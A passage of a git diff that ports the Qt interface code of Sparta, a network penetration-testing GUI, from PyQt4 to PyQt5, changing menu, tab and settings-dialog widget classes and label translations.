self.actionImportNmap.setObjectName(_fromUtf8("actionImportNmap")) + self.actionSaveAs = QtWidgets.QAction(MainWindow) + self.actionSaveAs.setObjectName(_fromUtf8("actionSaveAs")) + self.actionNew = QtWidgets.QAction(MainWindow) + self.actionNew.setObjectName(_fromUtf8("actionNew")) + self.actionAddHosts = QtWidgets.QAction(MainWindow) + self.actionAddHosts.setObjectName(_fromUtf8("actionAddHosts")) + self.menuFile.addAction(self.actionNew) + self.menuFile.addAction(self.actionOpen) + self.menuFile.addAction(self.actionSave) + self.menuFile.addAction(self.actionSaveAs) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionAddHosts) + self.menuFile.addAction(self.actionImportNmap) + self.menuFile.addSeparator() + self.menuFile.addAction(self.actionExit) + self.menubar.addAction(self.menuFile.menuAction()) +# self.menubar.addAction(self.menuEdit.menuAction()) +# self.menubar.addAction(self.menuSettings.menuAction()) + self.menubar.addAction(self.menuSettings.menuAction()) + self.actionSettings = QtWidgets.QAction(MainWindow) + self.actionSettings.setObjectName(_fromUtf8("getSettingsMenu")) + self.menuSettings.addAction(self.actionSettings) - def setDefaultIndexes(self): - self.MainTabWidget.setCurrentIndex(1) - self.HostsTabWidget.setCurrentIndex(1) - self.ServicesTabWidget.setCurrentIndex(1) - self.BruteTabWidget.setCurrentIndex(1) - self.BottomTabWidget.setCurrentIndex(0) + self.actionHelp = QtWidgets.QAction(MainWindow) + self.actionHelp.setObjectName(_fromUtf8("getHelp")) + self.menuHelp.addAction(self.actionHelp) + self.menubar.addAction(self.menuHelp.menuAction()) - def retranslateUi(self, MainWindow): - MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) - self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtGui.QApplication.translate("MainWindow", "Tools", None, QtGui.QApplication.UnicodeUTF8)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtGui.QApplication.translate("MainWindow", "Scripts", None, QtGui.QApplication.UnicodeUTF8)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) - self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) -# self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScreenshotsTab), QtGui.QApplication.translate("MainWindow", "Screenshots", None, QtGui.QApplication.UnicodeUTF8)) - self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) - #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Tab 1", None, QtGui.QApplication.UnicodeUTF8)) - #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Tab 2", None, QtGui.QApplication.UnicodeUTF8)) - self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) - self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) -# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) -# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) - self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) -# self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) -# self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) - self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) - self.actionSave.setText(QtGui.QApplication.translate("MainWindow", "Save", None, QtGui.QApplication.UnicodeUTF8)) - self.actionSave.setToolTip(QtGui.QApplication.translate("MainWindow", "Save the current project", None, QtGui.QApplication.UnicodeUTF8)) - self.actionSave.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+S", None, QtGui.QApplication.UnicodeUTF8)) - self.actionImportNmap.setText(QtGui.QApplication.translate("MainWindow", "Import nmap", None, QtGui.QApplication.UnicodeUTF8)) - self.actionImportNmap.setToolTip(QtGui.QApplication.translate("MainWindow", "Import an nmap xml file", None, QtGui.QApplication.UnicodeUTF8)) - self.actionImportNmap.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+I", None, QtGui.QApplication.UnicodeUTF8)) - self.actionSaveAs.setText(QtGui.QApplication.translate("MainWindow", "Save As", None, QtGui.QApplication.UnicodeUTF8)) - self.actionNew.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) - self.actionNew.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) - self.actionAddHosts.setText(QtGui.QApplication.translate("MainWindow", "Add host(s) to scope", None, QtGui.QApplication.UnicodeUTF8)) - self.actionAddHosts.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+H", None, QtGui.QApplication.UnicodeUTF8)) - self.actionSettings.setText(QtGui.QApplication.translate("MainWindow", "Preferences", None, QtGui.QApplication.UnicodeUTF8)) - self.actionHelp.setText(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) - self.actionHelp.setShortcut(QtGui.QApplication.translate("MainWindow", "F1", None, QtGui.QApplication.UnicodeUTF8)) + def setDefaultIndexes(self): + self.MainTabWidget.setCurrentIndex(1) + self.HostsTabWidget.setCurrentIndex(1) + self.ServicesTabWidget.setCurrentIndex(1) + self.BruteTabWidget.setCurrentIndex(1) + self.BottomTabWidget.setCurrentIndex(0) + + def retranslateUi(self, MainWindow): + MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "Sparta v0.0001", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.HostsTab), QtWidgets.QApplication.translate("MainWindow", "Hosts", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ServicesLeftTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) + self.HostsTabWidget.setTabText(self.HostsTabWidget.indexOf(self.ToolsTab), QtWidgets.QApplication.translate("MainWindow", "Tools", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ServicesRightTab), QtWidgets.QApplication.translate("MainWindow", "Services", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScriptsTab), QtWidgets.QApplication.translate("MainWindow", "Scripts", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.InformationTab), QtWidgets.QApplication.translate("MainWindow", "Information", None)) + self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.NotesTab), QtWidgets.QApplication.translate("MainWindow", "Notes", None)) +# self.ServicesTabWidget.setTabText(self.ServicesTabWidget.indexOf(self.ScreenshotsTab), QtWidgets.QApplication.translate("MainWindow", "Screenshots", None)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.ScanTab), QtWidgets.QApplication.translate("MainWindow", "Scan", None)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab), QtWidgets.QApplication.translate("MainWindow", "Tab 1", None)) + #self.BruteTabWidget.setTabText(self.BruteTabWidget.indexOf(self.tab_2), QtWidgets.QApplication.translate("MainWindow", "Tab 2", None)) + self.MainTabWidget.setTabText(self.MainTabWidget.indexOf(self.BruteTab), QtWidgets.QApplication.translate("MainWindow", "Brute", None)) + self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.LogTab), QtWidgets.QApplication.translate("MainWindow", "Log", None)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.TerminalTab), QtWidgets.QApplication.translate("MainWindow", "Terminal", None)) +# self.BottomTabWidget.setTabText(self.BottomTabWidget.indexOf(self.PythonTab), QtWidgets.QApplication.translate("MainWindow", "Python", None)) + self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None)) +# self.menuEdit.setTitle(QtWidgets.QApplication.translate("MainWindow", "Edit", None)) +# self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None)) + self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None)) + self.actionExit.setText(QtWidgets.QApplication.translate("MainWindow", "Exit", None)) + self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None)) + self.actionExit.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+Q", None)) + self.actionOpen.setText(QtWidgets.QApplication.translate("MainWindow", "Open", None)) + self.actionOpen.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Open an existing project file", None)) + self.actionOpen.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+O", None)) + self.actionSave.setText(QtWidgets.QApplication.translate("MainWindow", "Save", None)) + self.actionSave.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Save the current project", None)) + self.actionSave.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+S", None)) + self.actionImportNmap.setText(QtWidgets.QApplication.translate("MainWindow", "Import nmap", None)) + self.actionImportNmap.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Import an nmap xml file", None)) + self.actionImportNmap.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+I", None)) + self.actionSaveAs.setText(QtWidgets.QApplication.translate("MainWindow", "Save As", None)) + self.actionNew.setText(QtWidgets.QApplication.translate("MainWindow", "New", None)) + self.actionNew.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+N", None)) + self.actionAddHosts.setText(QtWidgets.QApplication.translate("MainWindow", "Add host(s) to scope", None)) + self.actionAddHosts.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+H", None)) + self.actionSettings.setText(QtWidgets.QApplication.translate("MainWindow", "Preferences", None)) + self.actionHelp.setText(QtWidgets.QApplication.translate("MainWindow", "Help", None)) + self.actionHelp.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F1", None)) if __name__ == "__main__": import sys - app = QtGui.QApplication(sys.argv) - MainWindow = QtGui.QMainWindow() + app = QtWidgets.QApplication(sys.argv) + MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() diff --git a/ui/nosplitters/gui.py b/ui/nosplitters/gui.py index ae05c440..ccaac0d9 100644 --- a/ui/nosplitters/gui.py +++ b/ui/nosplitters/gui.py @@ -7,7 +7,7 @@ # # WARNING! All changes made in this file will be lost! -from PyQt4 import QtCore, QtGui +from PyQt5 import QtWidgets, QtGui, QtCore try: _fromUtf8 = QtCore.QString.fromUtf8 @@ -18,77 +18,77 @@ class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) MainWindow.resize(1010, 754) - self.centralwidget = QtGui.QWidget(MainWindow) + self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) - self.tabWidget = QtGui.QTabWidget(self.centralwidget) + self.tabWidget = QtWidgets.QTabWidget(self.centralwidget) self.tabWidget.setGeometry(QtCore.QRect(10, 0, 971, 531)) self.tabWidget.setObjectName(_fromUtf8("tabWidget")) - self.tab = QtGui.QWidget() + self.tab = QtWidgets.QWidget() self.tab.setObjectName(_fromUtf8("tab")) - self.tabWidget_3 = QtGui.QTabWidget(self.tab) + self.tabWidget_3 = QtWidgets.QTabWidget(self.tab) self.tabWidget_3.setGeometry(QtCore.QRect(300, 0, 661, 491)) self.tabWidget_3.setObjectName(_fromUtf8("tabWidget_3")) - self.tab_5 = QtGui.QWidget() + self.tab_5 = QtWidgets.QWidget() self.tab_5.setObjectName(_fromUtf8("tab_5")) - self.ServicesTableView = QtGui.QTableView(self.tab_5) + self.ServicesTableView = QtWidgets.QTableView(self.tab_5) self.ServicesTableView.setGeometry(QtCore.QRect(0, 0, 661, 461)) self.ServicesTableView.setObjectName(_fromUtf8("ServicesTableView")) self.tabWidget_3.addTab(self.tab_5, _fromUtf8("")) - self.tab_6 = QtGui.QWidget() + self.tab_6 = QtWidgets.QWidget() self.tab_6.setObjectName(_fromUtf8("tab_6")) self.tabWidget_3.addTab(self.tab_6, _fromUtf8("")) - self.tab_7 = QtGui.QWidget() + self.tab_7 = QtWidgets.QWidget() self.tab_7.setObjectName(_fromUtf8("tab_7")) self.tabWidget_3.addTab(self.tab_7, _fromUtf8("")) - self.tabWidget_2 = QtGui.QTabWidget(self.tab) + self.tabWidget_2 = QtWidgets.QTabWidget(self.tab) self.tabWidget_2.setGeometry(QtCore.QRect(0, 0, 301, 491)) self.tabWidget_2.setObjectName(_fromUtf8("tabWidget_2")) - self.tab_3 = QtGui.QWidget() + self.tab_3 = QtWidgets.QWidget() self.tab_3.setObjectName(_fromUtf8("tab_3")) - self.HostsTableView = QtGui.QTableView(self.tab_3) + self.HostsTableView = QtWidgets.QTableView(self.tab_3) self.HostsTableView.setGeometry(QtCore.QRect(0, 0, 301, 461)) self.HostsTableView.setObjectName(_fromUtf8("HostsTableView")) self.tabWidget_2.addTab(self.tab_3, _fromUtf8("")) - self.tab_4 = QtGui.QWidget() + self.tab_4 = QtWidgets.QWidget() self.tab_4.setObjectName(_fromUtf8("tab_4")) self.tabWidget_2.addTab(self.tab_4, _fromUtf8("")) self.tabWidget.addTab(self.tab, _fromUtf8("")) - self.tab_2 = QtGui.QWidget() + self.tab_2 = QtWidgets.QWidget() self.tab_2.setObjectName(_fromUtf8("tab_2")) self.tabWidget.addTab(self.tab_2, _fromUtf8("")) - self.tabWidget_4 = QtGui.QTabWidget(self.centralwidget) + self.tabWidget_4 = QtWidgets.QTabWidget(self.centralwidget) self.tabWidget_4.setGeometry(QtCore.QRect(10, 560, 791, 91)) self.tabWidget_4.setObjectName(_fromUtf8("tabWidget_4")) - self.tab_8 = QtGui.QWidget() + self.tab_8 = QtWidgets.QWidget() self.tab_8.setObjectName(_fromUtf8("tab_8")) self.tabWidget_4.addTab(self.tab_8, _fromUtf8("")) - self.tab_9 = QtGui.QWidget() + self.tab_9 = QtWidgets.QWidget() self.tab_9.setObjectName(_fromUtf8("tab_9")) self.tabWidget_4.addTab(self.tab_9, _fromUtf8("")) - self.tab_10 = QtGui.QWidget() + self.tab_10 = QtWidgets.QWidget() self.tab_10.setObjectName(_fromUtf8("tab_10")) self.tabWidget_4.addTab(self.tab_10, _fromUtf8("")) MainWindow.setCentralWidget(self.centralwidget) - self.menubar = QtGui.QMenuBar(MainWindow) + self.menubar = QtWidgets.QMenuBar(MainWindow) self.menubar.setGeometry(QtCore.QRect(0, 0, 1010, 25)) self.menubar.setObjectName(_fromUtf8("menubar")) - self.menuFile = QtGui.QMenu(self.menubar) + self.menuFile = QtWidgets.QMenu(self.menubar) self.menuFile.setObjectName(_fromUtf8("menuFile")) - self.menuEdit = QtGui.QMenu(self.menubar) + self.menuEdit = QtWidgets.QMenu(self.menubar) self.menuEdit.setObjectName(_fromUtf8("menuEdit")) - self.menuSettings = QtGui.QMenu(self.menubar) + self.menuSettings = QtWidgets.QMenu(self.menubar) self.menuSettings.setObjectName(_fromUtf8("menuSettings")) - self.menuHelp = QtGui.QMenu(self.menubar) + self.menuHelp = QtWidgets.QMenu(self.menubar) self.menuHelp.setObjectName(_fromUtf8("menuHelp")) MainWindow.setMenuBar(self.menubar) - self.statusbar = QtGui.QStatusBar(MainWindow) + self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName(_fromUtf8("statusbar")) MainWindow.setStatusBar(self.statusbar) - self.actionNew_Project = QtGui.QAction(MainWindow) + self.actionNew_Project = QtWidgets.QAction(MainWindow) self.actionNew_Project.setObjectName(_fromUtf8("actionNew_Project")) - self.actionExit = QtGui.QAction(MainWindow) + self.actionExit = QtWidgets.QAction(MainWindow) self.actionExit.setObjectName(_fromUtf8("actionExit")) - self.actionOpen = QtGui.QAction(MainWindow) + self.actionOpen = QtWidgets.QAction(MainWindow) self.actionOpen.setObjectName(_fromUtf8("actionOpen")) self.menuFile.addAction(self.actionNew_Project) self.menuFile.addAction(self.actionOpen) @@ -107,36 +107,36 @@ def setupUi(self, MainWindow): QtCore.QMetaObject.connectSlotsByName(MainWindow) def retranslateUi(self, MainWindow): - MainWindow.setWindowTitle(QtGui.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_5), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_6), QtGui.QApplication.translate("MainWindow", "Information", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_7), QtGui.QApplication.translate("MainWindow", "Notes", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_3), QtGui.QApplication.translate("MainWindow", "Hosts", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_4), QtGui.QApplication.translate("MainWindow", "Services", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtGui.QApplication.translate("MainWindow", "Scan", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtGui.QApplication.translate("MainWindow", "Brute", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_8), QtGui.QApplication.translate("MainWindow", "Log", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_9), QtGui.QApplication.translate("MainWindow", "Terminal", None, QtGui.QApplication.UnicodeUTF8)) - self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_10), QtGui.QApplication.translate("MainWindow", "Python", None, QtGui.QApplication.UnicodeUTF8)) - self.menuFile.setTitle(QtGui.QApplication.translate("MainWindow", "File", None, QtGui.QApplication.UnicodeUTF8)) - self.menuEdit.setTitle(QtGui.QApplication.translate("MainWindow", "Edit", None, QtGui.QApplication.UnicodeUTF8)) - self.menuSettings.setTitle(QtGui.QApplication.translate("MainWindow", "Settings", None, QtGui.QApplication.UnicodeUTF8)) - self.menuHelp.setTitle(QtGui.QApplication.translate("MainWindow", "Help", None, QtGui.QApplication.UnicodeUTF8)) - self.actionNew_Project.setText(QtGui.QApplication.translate("MainWindow", "New", None, QtGui.QApplication.UnicodeUTF8)) - self.actionNew_Project.setToolTip(QtGui.QApplication.translate("MainWindow", "Create a new project file", None, QtGui.QApplication.UnicodeUTF8)) - self.actionNew_Project.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+N", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setText(QtGui.QApplication.translate("MainWindow", "Exit", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setToolTip(QtGui.QApplication.translate("MainWindow", "Exit the application", None, QtGui.QApplication.UnicodeUTF8)) - self.actionExit.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+Q", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setText(QtGui.QApplication.translate("MainWindow", "Open", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setToolTip(QtGui.QApplication.translate("MainWindow", "Open an existing project file", None, QtGui.QApplication.UnicodeUTF8)) - self.actionOpen.setShortcut(QtGui.QApplication.translate("MainWindow", "Ctrl+O", None, QtGui.QApplication.UnicodeUTF8)) + MainWindow.setWindowTitle(QtWidgets.QApplication.translate("MainWindow", "Sparta v0.0001", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_5), QtWidgets.QApplication.translate("MainWindow", "Services", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_6), QtWidgets.QApplication.translate("MainWindow", "Information", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_3.setTabText(self.tabWidget_3.indexOf(self.tab_7), QtWidgets.QApplication.translate("MainWindow", "Notes", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_3), QtWidgets.QApplication.translate("MainWindow", "Hosts", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_2.setTabText(self.tabWidget_2.indexOf(self.tab_4), QtWidgets.QApplication.translate("MainWindow", "Services", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), QtWidgets.QApplication.translate("MainWindow", "Scan", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_2), QtWidgets.QApplication.translate("MainWindow", "Brute", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_8), QtWidgets.QApplication.translate("MainWindow", "Log", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_9), QtWidgets.QApplication.translate("MainWindow", "Terminal", None, QtWidgets.QApplication.UnicodeUTF8)) + self.tabWidget_4.setTabText(self.tabWidget_4.indexOf(self.tab_10), QtWidgets.QApplication.translate("MainWindow", "Python", None, QtWidgets.QApplication.UnicodeUTF8)) + self.menuFile.setTitle(QtWidgets.QApplication.translate("MainWindow", "File", None, QtWidgets.QApplication.UnicodeUTF8)) + self.menuEdit.setTitle(QtWidgets.QApplication.translate("MainWindow", "Edit", None, QtWidgets.QApplication.UnicodeUTF8)) + self.menuSettings.setTitle(QtWidgets.QApplication.translate("MainWindow", "Settings", None, QtWidgets.QApplication.UnicodeUTF8)) + self.menuHelp.setTitle(QtWidgets.QApplication.translate("MainWindow", "Help", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionNew_Project.setText(QtWidgets.QApplication.translate("MainWindow", "New", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionNew_Project.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Create a new project file", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionNew_Project.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+N", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionExit.setText(QtWidgets.QApplication.translate("MainWindow", "Exit", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionExit.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Exit the application", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionExit.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+Q", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionOpen.setText(QtWidgets.QApplication.translate("MainWindow", "Open", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionOpen.setToolTip(QtWidgets.QApplication.translate("MainWindow", "Open an existing project file", None, QtWidgets.QApplication.UnicodeUTF8)) + self.actionOpen.setShortcut(QtWidgets.QApplication.translate("MainWindow", "Ctrl+O", None, QtWidgets.QApplication.UnicodeUTF8)) if __name__ == "__main__": import sys - app = QtGui.QApplication(sys.argv) - MainWindow = QtGui.QMainWindow() + app = QtWidgets.QApplication(sys.argv) + MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() diff --git a/ui/settingsdialogs.py b/ui/settingsdialogs.py index 1eaa9350..0a1da053 100644 --- a/ui/settingsdialogs.py +++ b/ui/settingsdialogs.py @@ -12,7 +12,9 @@ ''' import os -from PyQt4.QtGui import * # for filters dialog +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtCore, QtWidgets from app.auxiliary import * # for timestamps class Validate(QtCore.QObject): # used to validate user input on focusOut - more specifically only called to validate tool name in host/port/terminal commands tabs @@ -25,29 +27,29 @@ def eventFilter(self, widget, event): # Borrowed this class from https://gist.github.com/LegoStormtroopr/5075267 # Credit and thanks to LegoStormtoopr (http://www.twitter.com/legostormtroopr) -class SettingsTabBarWidget(QtGui.QTabBar): +class SettingsTabBarWidget(QtWidgets.QTabBar): def __init__(self, parent=None, *args, **kwargs): self.tabSize = QtCore.QSize(kwargs.pop('width',100), kwargs.pop('height',25)) - QtGui.QTabBar.__init__(self, parent, *args, **kwargs) + QtWidgets.QTabBar.__init__(self, parent, *args, **kwargs) def paintEvent(self, event): - painter = QtGui.QStylePainter(self) - option = QtGui.QStyleOptionTab() + painter = QtWidgets.QStylePainter(self) + option = QtWidgets.QStyleOptionTab() for index in range(self.count()): self.initStyleOption(option, index) tabRect = self.tabRect(index) tabRect.moveLeft(10) - painter.drawControl(QtGui.QStyle.CE_TabBarTabShape, option) + painter.drawControl(QtWidgets.QStyle.CE_TabBarTabShape, option) painter.drawText(tabRect, QtCore.Qt.AlignVCenter | QtCore.Qt.TextDontClip, self.tabText(index)); painter.end() def tabSizeHint(self,index): return self.tabSize -class AddSettingsDialog(QtGui.QDialog): # dialog shown when the user selects settings menu +class AddSettingsDialog(QtWidgets.QDialog): # dialog shown when the user selects settings menu def __init__(self, parent=None): - QtGui.QDialog.__init__(self, parent) + QtWidgets.QDialog.__init__(self, parent) self.setupLayout() self.setupConnections() @@ -229,36 +231,36 @@ def populateToolsTab(self): self.toolForHostsTableWidget.setRowCount(len(self.settings.hostActions)) for row in range(len(self.settings.hostActions)): # add a row to the table - self.toolForHostsTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.toolForHostsTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) # add the label for the port actions self.toolForHostsTableWidget.item(row, 0).setText(self.settings.hostActions[row][1]) self.toolForServiceTableWidget.setRowCount(len(self.settings.portActions)) for row in range(len(self.settings.portActions)): - self.toolForServiceTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.toolForServiceTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) self.toolForServiceTableWidget.item(row, 0).setText(self.settings.portActions[row][1]) self.servicesAllTableWidget.setRowCount(len(self.settings.portActions)) for row in range(len(self.settings.portActions)): - self.servicesAllTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.servicesAllTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) self.servicesAllTableWidget.item(row, 0).setText(self.settings.portActions[row][3]) self.toolForTerminalTableWidget.setRowCount(len(self.settings.portTerminalActions)) for row in range(len(self.settings.portTerminalActions)): # add a row to the table - self.toolForTerminalTableWidget.setItem(row, 0, QtGui.QTableWidgetItem()) + self.toolForTerminalTableWidget.setItem(row, 0, QtWidgets.QTableWidgetItem()) # add the label fro the port actions self.toolForTerminalTableWidget.item(row, 0).setText(self.settings.portTerminalActions[row][1]) self.terminalServicesAllTable.setRowCount(len(self.settings.portTerminalActions)) for row in range(len(self.settings.portTerminalActions)): - self.terminalServicesAllTable.setItem(row, 0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.setItem(row, 0, QtWidgets.QTableWidgetItem()) self.terminalServicesAllTable.item(row, 0).setText(self.settings.portTerminalActions[row][3]) def populateAutomatedAttacksTab(self): # TODO: this one is still to big and ugly. needs work. self.typeDic = {} for i in range(len(self.settings.portActions)): # the dictionary contains the name, the text input and the layout for each tool - self.typeDic.update({self.settings.portActions[i][1]:[QtGui.QLabel(),QtGui.QLineEdit(),QtGui.QCheckBox(),QtGui.QHBoxLayout()]}) + 